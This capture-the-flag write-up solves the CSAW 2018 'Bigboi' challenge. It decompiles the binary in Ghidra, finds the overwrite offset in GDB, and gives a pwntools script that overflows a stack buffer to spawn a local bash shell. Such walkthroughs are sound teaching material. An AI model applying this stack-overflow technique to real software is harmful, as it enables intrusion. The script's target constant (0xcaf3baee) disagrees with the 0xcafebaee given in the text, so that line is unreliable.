CSaw 2018 CTF Writeup - Pwn - Bigboi

The challenge binary is available with a comprehensive writeup at aguyinatuxedos fantastic repository.

Initial binary checks show that we're dealing with a 64-bit executable and some protections.

┌──(inspired㉿working)-[/opt/nightmare/bigboi]
└─$ pwn checksec boi
[*] '/opt/nightmare/bigboi/boi'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
┌──(inspired㉿working)-[/opt/nightmare/bigboi]
└─$ file boi                                                                                                                                                             
boi: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=1537584f3b2381e1b575a67cba5fbb87878f9711, not stripped

Running the executable just seems to return the current system time.

┌──(inspired㉿working)-[/opt/nightmare/bigboi]
└─$ ./boi                                                                        
Are you a big boiiiii??
Yes
Wed 20 Oct 14:20:30 BST 2021
┌──(inspired㉿working)-[/opt/nightmare/bigboi]
└─$ ./boi                                                                              
Are you a big boiiiii??
-10
Wed 20 Oct 14:20:36 BST 2021

Cracking the file open in Ghidra, we can see the following decompiled code in the main function. It's relatively simple.

  • The puts call displays the question.
  • It reads in a variable into local_38 for the size of 0x18. I will later rename this to out_input.
  • It then checks the variable iStack36 to see if it is equal to -0x350c4512.
  • If it is, it runs a bash shell.
  • If not, we get the date output, as we saw.
undefined8 main(void)

{
  long in_FS_OFFSET;
  undefined8 local_38;
  undefined8 local_30;
  undefined4 local_28;
  int iStack36;
  undefined4 local_20;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_38 = 0;
  local_30 = 0;
  local_20 = 0;
  local_28 = 0;
  iStack36 = -0x21524111;
  puts("Are you a big boiiiii??");
  read(0,&local_38,0x18);
  if (iStack36 == -0x350c4512) {
    run_cmd("/bin/bash");
  }
  else {
    run_cmd("/bin/date");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

Looking at the assembly code, we can see the portion that initializes the variables. When iStack36 is set at local_28 + 4, we can see it is set to 0xdeadbeef, which might be the unsigned hex representation of the signed integer value in the code above.

A bit further down, we can also see it runs the comparison of this variable against 0xcafebaee, which is where we see the if (iStack36 == -0x350c4512) in the code above.

String Comparisons in C

Since we have no input option to edit the iStack36 variable, it's likely that we're going to need to overflow from our initial variable into the target variable and change it from 0xdeadbeef to 0xcafebaee. We know we have 0x18 buffer size that gets read in.

Let's see what happens in GDB whilst we send all 0x18 bytes and fill up the buffer.

python3 -c "print('A' * 0x18)"
AAAAAAAAAAAAAAAAAAAAAAAA
gdb ./boi

First I'll disassemble the main function. Here we can see the assembly. Looking at the call to cmp eax, 0xcafebaee, it might be a good idea to stop right here and see what the value of 0xdeadbeef is when we send a full buffer.

Disassembling the Main Function

I set a breakpoint with b *0x00000000004006a8 and run the code. When it asks for input, I'll place the AAAAAAAAAAAAAAAAAAAAAAAA string we generated with python and continue the program. It should break right as it compares 0xcafebaee with eax.

Overwriting the Register with A's

It does, and we can see that the value that is in eax is 0x41414141, or the hex representation of AAAA. Note: It saysrax in gdb, but only half the register is used so we say it's still eax.

Therefore, it stands to reason that although we've been given 0x18 bytes to read in,  that there is actually only 0x14 bytes between our input variable on the stack and the target variable, as our last 4 bytes overwrote it. Therefore, sending the little-endian format of 0xcafebaee after 0x14 bytes should allow us to get the correct comparison.

We can use Pwntools for a quick little solve script.

from pwn import *

p = process('./boi')

target = p32(0xcaf3baee)

exploit = b"A" * 0x14
exploit += target

p.recvline()
p.send(exploit)
p.interactive()

And when we run the script:

┌──(inspired㉿working)-[/opt/nightmare/bigboi]
└─$ python3 playful.py
[+] Starting local process './boi': pid 12668
b'Are you a big boiiiii??\n'
[*] Switching to interactive mode
$ whoami
inspired

A pretty vanilla challenge that was good to get me back into the swing of reading C and assembly.

References: